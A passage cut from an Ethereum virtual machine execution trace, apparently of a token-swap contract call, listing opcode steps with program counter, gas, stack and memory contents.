00000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15254,"op":"PUSH2","gas":118029,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15257,"op":"DUP2","gas":118026,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15258,"op":"PUSH2","gas":118023,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15261,"op":"JUMP","gas":118020,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13891,"op":"JUMPDEST","gas":118012,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13892,"op":"PUSH1","gas":118011,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13894,"op":"PUSH1","gas":118008,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13896,"op":"PUSH1","gas":118005,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13898,"op":"SHL","gas":118002,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13899,"op":"SUB","gas":117999,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13900,"op":"DUP2","gas":117996,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13901,"op":"AND","gas":117993,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13902,"op":"DUP2","gas":117990,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13903,"op":"EQ","gas":117987,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13904,"op":"PUSH2","gas":117984,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13907,"op":"JUMPI","gas":117981,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13912,"op":"JUMPDEST","gas":117971,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13913,"op":"POP","gas":117970,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13914,"op":"JUMP","gas":117968,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13477,"op":"JUMPDEST","gas":117960,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13478,"op":"SWAP4","gas":117959,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13479,"op":"SWAP3","gas":117956,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x104","0xe4","0x0","0x991"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13480,"op":"POP","gas":117953,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0xe4","0x0","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13481,"op":"POP","gas":117951,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0xe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13482,"op":"POP","gas":117949,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13483,"op":"JUMP","gas":117947,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2449,"op":"JUMPDEST","gas":117939,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2450,"op":"PUSH1","gas":117938,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2452,"op":"PUSH1","gas":117935,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2454,"op":"PUSH1","gas":117932,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2456,"op":"SHL","gas":117929,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2457,"op":"SUB","gas":117926,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2458,"op":"AND","gas":117923,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2459,"op":"EQ","gas":117920,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2460,"op":"PUSH2","gas":117917,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2463,"op":"JUMPI","gas":117914,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1","0x9e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2535,"op":"JUMPDEST","gas":117904,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2536,"op":"PUSH2","gas":117903,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2539,"op":"DUP9","gas":117900,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2540,"op":"DUP8","gas":117897,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2541,"op":"DUP8","gas":117894,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2542,"op":"DUP1","gas":117891,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","00000000000000000000000000000000